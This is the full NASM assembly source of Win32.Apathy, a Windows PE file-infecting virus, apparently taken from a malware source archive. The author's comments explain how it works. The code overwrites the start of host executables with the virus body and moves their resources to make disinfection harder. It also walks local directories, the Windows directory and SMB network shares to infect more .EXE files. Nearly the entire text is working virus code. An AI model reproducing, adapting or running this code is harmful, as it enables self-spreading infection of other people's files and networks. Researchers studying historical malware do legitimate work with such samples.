MalwareSourceCode/Win32/Infector/Win32.Apathy.asm
2020-10-16 23:26:21 +02:00

826 lines
26 KiB
NASM

;
; - Win32.Apathy -
; -b0z0/iKX-
;
; This is a PE infector that works in 9x/NT systems and infected files in
; that enviroments will work correctly after infection (I'm not sure that
; there is a secret bu... feature that could make them not to work).
; While infecting Win32.Apathy will overwrite the original PE start with
; a copy of itself, thus avoiding entirely the API searching problem,
; saving the original piece of code at the end of the infected file. To
; maintain compatibility with NT and to make disinfection a little tricky
; the virus will also change the .rsrc RVA and consequently all the resource
; entryes to some standard position. So just copying the original piece of
; will result in damaging the executable. The original file will be
; reconstructed in a temporary file and executed there as a new process.
; Check code for other things about the infection process and such.
; Win32.Apathy will also try to spread through the network (microsoft
; network or SMB or how you wanna call it) by scanning some connected
; resources and trying to infect files over there.
;
; The virus has been quite tested under Win95/98/NT4
;
; Win32.Apathy born really a lot of time ago, I started coding this just
; after Xine#3 was out, but then the whole project (like all my other VX
; projects) was stopped until about december 1998 when I decided to finish
; at least something. The code tho is not optimized at all, could not be
; too clear in some parts, I just wanted to materialize a few ideas I had
; and I didn't really care too much to optimize or something this.
;
; The virus name is quite obvious, but:
; apathy: the state of having no wish to act and no enthusiasm
;
; Thanx to StarZero for cool hints and notes!
;
; For any kind of info or something contact me at cl0wn@geocities.com
;
.386
.model flat
; kernel32 ones we need
extrn SetFileAttributesA:PROC
extrn Sleep:PROC
extrn GetWindowsDirectoryA:PROC
extrn GetTickCount:PROC
extrn lstrcpy:PROC
extrn ExitProcess:PROC
extrn SetFileTime:PROC
extrn DeleteFileA:PROC
extrn GetTempPathA:PROC
extrn GetTempFileNameA:PROC
extrn CreateProcessA:PROC
extrn CopyFileA:PROC
extrn FindFirstFileA:PROC
extrn FindNextFileA:PROC
extrn GetCommandLineA:PROC
extrn CloseHandle:PROC
extrn ReadFile:PROC
extrn HeapAlloc:PROC
extrn GetProcessHeap:PROC
extrn CreateFileA:PROC
extrn CreateFileMappingA:PROC
extrn MapViewOfFile:PROC
extrn UnmapViewOfFile:PROC
extrn GetFileSize:PROC
extrn CreateMutexA:PROC
extrn GetLastError:PROC
; for network from mpr.dll
extrn WNetOpenEnumA:PROC
extrn WNetEnumResourceA:PROC
.data
vname db 0,'Win32.Apathy by '
author db '-b0z0/iKX-',0 ; used as mutex object name
fsearch:
f_attrib dd 00h
f_ctime dd 00h,00h
f_atime dd 00h,00h
f_wtime dd 00h,00h
f_size_hi dd 00h
f_size_lo dd 00h
f_reserved dd 00h,00h
f_name db 104h dup (?)
f_alt_name db 0eh dup (?)
msg db 'i am nobody except genetic runaround',0
ff_handle dd 00h
f_handle dd 00h
dotdot_mask db '..',0
exemask db '*.EXE',0
v_map_handle dd 00h
v_file_handle dd 00h
orig_virus_p dd 00h
pref db 'ikx',0 ; tmp file name prefix
path_position dd offset new_path
new_path db 112h dup (?) ; max_path + a bit more
tmp_name db 112h dup (?)
process_info dd 4 dup (?)
; STARTUPINFO structure for new process
startup_info dd 10h ; lenght of this structure
dd 00h,00h
title_startup dd 00h ; pointer to title for console progs
;
has_infected db 00h ; 00h no, 01h yes
virus_phase db 07h ; 07h infecting .
; 06h infecting windows directory
; 05h infecting network 1 try
; 04h infecting network 2 try
; 03h infecting ..
; 02h infecting network 3 try
; 01h infecting network 4 try
netspace equ 4000h ; 16kb as suggested. place for 200h
; entryes... way too much anyway
enum_handle dd 00h ; handle of Net enumeration
enum_count dd 1ffh ; how many got / how many to get
enum_size dd netspace ; size of memory avaiable for results
r_point dd 0h
; here begins the virus code
.code
; equs
exesize equ 1502h ; size of virus executable
pe_begin equ 100h ; where PE header begins in virus
file_align equ 200h ; file align value (= to linker one)
read_exe equ 4096d ; how much victim to read to check
marker equ '0z0b' ; infection marker
wait_time equ 2604d ; time between each search
sleep_time equ 7919d ; add sleep time after good infection
f_shit equ 2000h ; first gen dim
; the marker must be set at offset 58h of the PE once compiled
startcode:
call GetProcessHeap
push (exesize + read_exe + netspace)
push 8h ; zero memory
push eax
call HeapAlloc ; allocate some memory from our heap
mov dword ptr [orig_virus_p],eax
push offset new_path
push 112h
call GetTempPathA
push offset tmp_name ; create a temporary name
push large 0
push offset pref
push offset new_path
call GetTempFileNameA
call GetCommandLineA ; get our name
cmp byte ptr [eax],22h ; " this is strange, sometimes cmdline
jne not_thatshit ; is enclosed in "", so we must take
inc eax ; care if they are there
push eax
find_ending:
cmp byte ptr [eax],22h
je delete_ending_aswell
inc eax
jmp find_ending
delete_ending_aswell:
mov byte ptr [eax],20h
pop eax
not_thatshit:
push eax
mov dword ptr [title_startup],eax
search_end:
inc eax
cmp byte ptr [eax-1],'.' ; go to the extension
jne search_end
cmp byte ptr [eax+3],20h ; space
je found_end
cmp byte ptr [eax+3],00h ; end of string
jne search_end
found_end:
add eax,3 ; point on end of exe name
push eax
push eax ; copy possible command line options
push offset new_path ; to the buffer
call lstrcpy
pop eax
mov byte ptr [eax],0 ; put null to open/copy it
pop eax
push large 0
push offset tmp_name
push eax ; copy ourselves to another name
call CopyFileA
or eax,eax
jz exit_critical_temp
push 02h ; file attribute hidden
push offset tmp_name
call SetFileAttributesA
xor eax,eax
push eax
push large 80h
push large 3
push eax
push eax
push 0c0000000h ; readwrite
push offset tmp_name ; open the temporary file
call CreateFileA
inc eax ; check if opened ok
jz exit_critical_temp
dec eax
mov dword ptr [v_file_handle],eax
push eax
push large 0
push eax ; handle
call GetFileSize ; get size of file we are running from
xchg ecx,eax ; copied in a tmp file
pop eax
push ecx ; size
xor ecx,ecx
push ecx
push ecx ; entire file
push ecx
push large 04h
push ecx
push eax
call CreateFileMappingA
cdq
or eax,eax
jz exit_critical_temp ; eax map handle
push eax ; mapping handle
push edx
push edx
push edx
push large 02h
push eax
call MapViewOfFile
or eax,eax
pop ebx ; mapping handle
je exit_critical_temp
cld
mov esi,eax
mov edi,dword ptr [orig_virus_p]
mov ecx,exesize
mov edx,ecx
rep movsb
pop ecx ; size
cmp ecx,f_shit
jz first_generation
sub ecx,edx
sub ecx,edx
push ebx ; map handle
mov edi,esi
add esi,ecx
mov ecx,edx
sub edi,ecx
push edi ; to beginning of file mapping in mem
push edi
rep movsb ; restore original
pop edi
mov esi,edi ; now we must restore the resources
add edi,dword ptr [edi+3ch] ; on PE
mov eax,dword ptr [edi+8ch] ; resources lenght
or eax,eax
jz no_resourz
mov eax,dword ptr [edi+88h] ; resources RVA
add edi,0f8h+0ch ; to objects
srs_loo:
cmp eax,dword ptr [edi] ; is the resources one?
je got_srsr
add edi,28h ; lenght of an object
jmp srs_loo
got_srsr:
add esi,dword ptr [edi+08h] ; physical offset of resources
mov ebx,4000h ; fixed virus resources RVA
sub ebx,eax
call rsrs_change ; call changer
no_resourz: ; everything is ready again
call UnmapViewOfFile
call CloseHandle
push dword ptr [v_file_handle] ; close virus file
call CloseHandle
xor eax,eax
push offset process_info
push offset startup_info
push eax
push eax
push eax
push eax
push eax
push eax
push offset new_path ; to command line options
push offset tmp_name ; to file to execute
call CreateProcessA ; run host executable
first_generation:
push offset author ; name of the mutex object
push large 1
push large 0
call CreateMutexA ; create one
call GetLastError ; check if one with the same name
or eax,eax ; already exist. if so virus is already
jnz exit_critical_temp ; running as another process
mov eax,offset exemask
search_loop:
push offset fsearch
push eax
call FindFirstFileA ; search for some victims
cmp eax,-1
je end_file_search
mov dword ptr [ff_handle],eax
infect_file:
push offset f_name
push dword ptr [path_position] ; copy found file
call lstrcpy ; after directory
push 80h ; FILE_ATTRIBUTE_NORMAL
push offset new_path
call SetFileAttributesA ; delete attributes
or eax,eax
jz error_attributes
xor eax,eax
push eax
push large 80h
push large 3
push eax
push eax
push 0c0000000h ; readwrite
push offset new_path ; full file name to file to
call CreateFileA ; infect
inc eax
jz error_opening
dec eax
mov dword ptr [f_handle],eax
push eax
mov edx,dword ptr [orig_virus_p] ; virus heap
add edx,exesize ; read data is after original
push edx
push large 0
push offset f_size_hi ; some place to store nr of
push read_exe ; readed bytes
push edx
push eax
call ReadFile ; read header
pop edx
pop eax
cmp word ptr [edx],'ZM' ; exe?
jne not_to_infect
mov ecx,dword ptr [edx+3ch] ; pointer to PE header
cmp ecx,(read_exe - 4) ; is the PE header in readed
jae not_to_infect ; chunk of executable?
add edx,ecx
cmp dword ptr [edx],'EP'
jne not_to_infect
cmp dword ptr [edx+58h],marker ; already infected?
je not_to_infect
test dword ptr [edx+3ch],(file_align - 1)
jnz not_to_infect ; must have an align cmptible
mov ecx,dword ptr [f_size_lo] ; file size (assume <= 4gb)
cmp ecx,(10 * 1024) ; not too small files
jbe not_to_infect ; leave it
mov ebx,dword ptr [edx+8ch] ; resource size
or ebx,ebx
jz no_resp
mov ebx,dword ptr [edx+88h] ; pointer to resources
add edx,(0f8h + 0ch)
search_rsrcs:
cmp ebx,dword ptr [edx] ; is the resources one?
je got_rsrcs
add edx,28h ; lenght of an object
jmp search_rsrcs
got_rsrcs:
sub edx,0ch ; on beginning of this object
cmp dword ptr [edx+14h],exesize ; are resources after the virus
jbe not_to_infect ; size (this is won't be overw)
mov ebx,edx
no_resp:
mov dword ptr [r_point],ebx
add ecx,exesize ; will extend it by exesize
xor edx,edx
push edx
push ecx
push edx
push large 04h
push edx
push eax
call CreateFileMappingA
cdq
or eax,eax
jz not_to_infect
mov dword ptr [v_map_handle],eax
push edx
push edx
push edx
push large 02h
push eax
call MapViewOfFile
or eax,eax
jz close_map_exit
mov edi,eax
push edi
mov esi,edi
add edi,dword ptr [f_size_lo]
mov edx,edi
mov ecx,exesize ; save original code after the end
push ecx
rep movsb
pop ecx
pop edi
push edi
mov esi,dword ptr [orig_virus_p] ; on vir
rep movsb ; copy virus body
pop edi
push edi
mov esi,edx
mov edx,edi
add esi,dword ptr [esi+3ch] ; on PE
mov ecx,4000h ; image size of virus file w/o rsrcs
mov dword ptr [edi+pe_begin+50h],ecx ; correct image size
mov word ptr [edi+pe_begin+6],3h ; number of virus objects
mov eax,dword ptr [r_point] ; pointer to resources object
mov ebx,dword ptr [esi+8ch] ; resource size
mov dword ptr [edi+pe_begin+8ch],ebx
mov dword ptr [edi+pe_begin+88h],0h ; zero resurce RVA by default
or eax,eax ; resources length 0?
jz no_resources
mov ebx,dword ptr [esi+88h] ; resource RVA
sub ebx,ecx
mov dword ptr [edi+pe_begin+88h],ecx ; set resources pointer
inc word ptr [edi+pe_begin+6] ; number of objects
mov esi,eax ; on resources object
add edi,(pe_begin + 0f8h + (3*28h))
mov ecx,028h ; copy resources object
rep movsb
mov esi,edx ; on beginning of file
mov dword ptr [edi-28h+0ch],4000h
mov eax,dword ptr [edi-28h+08h] ; object virtual size
add eax,(1000h - 1)
and eax,0fffff000h
add dword ptr [edi - (0f8h + (4*28h)) + 50h],eax ; to image size
mov eax,dword ptr [edi-28h+14h] ; physical offset of resources
add esi,eax
call rsrs_change ; change those
no_resources:
call UnmapViewOfFile ; unmap view of file
inc byte ptr [has_infected] ; good infection, so a pause
; will occour
close_map_exit:
push dword ptr [v_map_handle]
call CloseHandle ; close mapping handle
mov eax,dword ptr [f_handle]
push eax
push offset f_wtime
push offset f_atime
push offset f_ctime
push eax
call SetFileTime ; restore original file time
pop eax
not_to_infect:
push eax ; file handle
call CloseHandle ; close infected file
error_opening:
push dword ptr [f_attrib] ; restore old attributes to file
push offset new_path
call SetFileAttributesA
error_attributes:
mov eax,wait_time ; so it won't work too much
dec byte ptr [has_infected]
jnz no_infection
add eax,sleep_time ; if a file was infected then make a
; longer pause
no_infection:
push eax
call Sleep ; pause until next one
mov byte ptr [has_infected],00h ; reset infection mark
push offset fsearch
push dword ptr [ff_handle]
call FindNextFileA
or eax,eax ; no more files?
jz end_file_search
jmp infect_file ; else infect
end_file_search:
call GetTickCount ; should we go deeper in dir
shr eax,1 ; from actual position?
jc next_phase
mov esi,dword ptr [path_position] ; search from last dir fwd
mov dword ptr [esi],' .*' ; to search dirs and such
push eax
push offset fsearch
push offset new_path
call FindFirstFileA
mov dword ptr [ff_handle],eax
cmp eax,-1
pop eax
je next_phase ; no dirs in here
check_dir:
test dword ptr [f_attrib],10h ; is a directory?
jz search_next_dir
cmp byte ptr [f_name],'.' ; not . or ..
je search_next_dir
shr eax,1 ; select randomly if walk into
jnc search_next_dir ; this or try another
mov eax,dword ptr [path_position] ; put after actual search path
mov esi,offset f_name ; point to directory name
jmp copy_from_eax
search_next_dir:
push eax
push offset fsearch
push dword ptr [ff_handle] ; search next
call FindNextFileA
or eax,eax ; no more directoryes?
pop eax
jnz check_dir
next_phase:
dec byte ptr [virus_phase]
mov al,byte ptr [virus_phase]
or al,al ; phases finished
jz farewell_and_goodnight
cmp al,03h ; search in ..
je search_dotdot
cmp al,06h ; windows directory phase
jne network_work
mov esi,offset new_path
push 104h ; buffer lenght
push esi ; search in windoze directory
call GetWindowsDirectoryA
jmp copy_and_gosearch
search_dotdot:
mov esi,offset dotdot_mask
jmp copy_and_gosearch
network_work:
xor ebx,ebx
find_resource:
push offset enum_handle
push ebx ; pointer to NETSOURCE structure to use
push large 3 ; CONNECTABLE | CONTAINER
push large 1 ; RESOURCETYPE_DISK
push large 2 ; RESOURCE_GLOBALNET
call WNetOpenEnumA
or eax,eax ; 0 = NO_ERROR
jnz next_phase ; on error just skip this phase
mov eax,dword ptr [orig_virus_p] ; pointer to heap
add eax,(exesize + read_exe) ; after other data
mov dword ptr [enum_count],1ffh ; get max entryes
push eax
push offset enum_size ; avaiable memory for results
push eax ; where to place results
push offset enum_count ; how many to enumerate
push dword ptr [enum_handle] ; handle of enumeration
call WNetEnumResourceA
pop ebx
or eax,eax ; 0 = NO_ERROR
jnz next_phase ; if some error skip
mov ecx,dword ptr [enum_count] ; number of entryes got
call GetTickCount ; random
xor edx,edx
div ecx
mov eax,20h ; lenght of one entry
mul edx ; select which one
add ebx,eax
test dword ptr [ebx+0ch],01h ; is an usable resource
jz find_resource
; if not should be a container
; (local or remote) so continue
; to next level
got_resource:
mov esi,dword ptr [ebx+14h] ; here it is
copy_and_gosearch:
mov eax,offset new_path
copy_from_eax:
push eax
push esi ; path to network or dir
push eax ; where to copy
call lstrcpy
pop eax
loop_searchzero:
cmp byte ptr [eax],00h
je got_null_termination ; find end
inc eax
jmp loop_searchzero
got_null_termination:
mov byte ptr [eax],'\' ; add \
inc eax
mov dword ptr [path_position],eax
push offset exemask ; and now copy the *.exe mask
push eax
call lstrcpy
mov eax,offset new_path
jmp search_loop
farewell_and_goodnight:
exit_critical_temp:
; before exiting delete some temp files (the still used ones will be deleted
; next time since are actually in use)
mov esi,offset tmp_name ; has temp path + last temp name
search_dottmp:
inc esi
cmp word ptr [esi],'i\' ; find beginning of name
jne search_dottmp
inc esi
inc esi
cmp word ptr [esi],'xk'
jne search_dottmp
got_end:
inc esi
inc esi
push esi
mov dword ptr [esi],'mt.*' ; set delete ikx*.tmp
mov word ptr [esi+4],'p' ; p + null termination
push offset fsearch
push offset tmp_name
call FindFirstFileA
pop edi ; after ikx in temp name
cmp eax,-1
je exit_deletion
delete_temps:
mov esi,(offset f_name + 3)
mov ecx,9h ; sometimes will be shorter but wc
push edi
rep movsb
pop edi
push eax ; preserve handle
push offset tmp_name
call DeleteFileA ; could fail if file is
pop eax ; used, but np
push eax
push offset fsearch
push eax
call FindNextFileA ; find next to delete
or eax,eax
pop eax
jnz delete_temps
exit_deletion:
exit:
push LARGE -1 ; that's all, will release also
call ExitProcess ; our mutex object
rsrs_change:
; EBX = value to substract to each resource element
; ESI = pointer to resources
xor edx,edx ; will keep number of data elements
push ebx
search_rsr:
add esi,10h
movzx ecx,word ptr [esi - 2] ; nr of named and integer
add cx,word ptr [esi - 4] ; entryes in this dir
adc ecx,0
na_nasl:
mov ebx,dword ptr [esi + 4]
test ebx,80000000h ; is a resource data entry?
jnz is_subdir
inc edx
is_subdir:
add esi,8 ; on next
loop na_nasl
cmp dword ptr [esi],00h ; finished ?
je search_rsr
pop ebx
mov ecx,edx
change_res:
sub dword ptr [esi],ebx ; sub requested value
add esi,10h
loop change_res ; change all entryes
ret
end startcode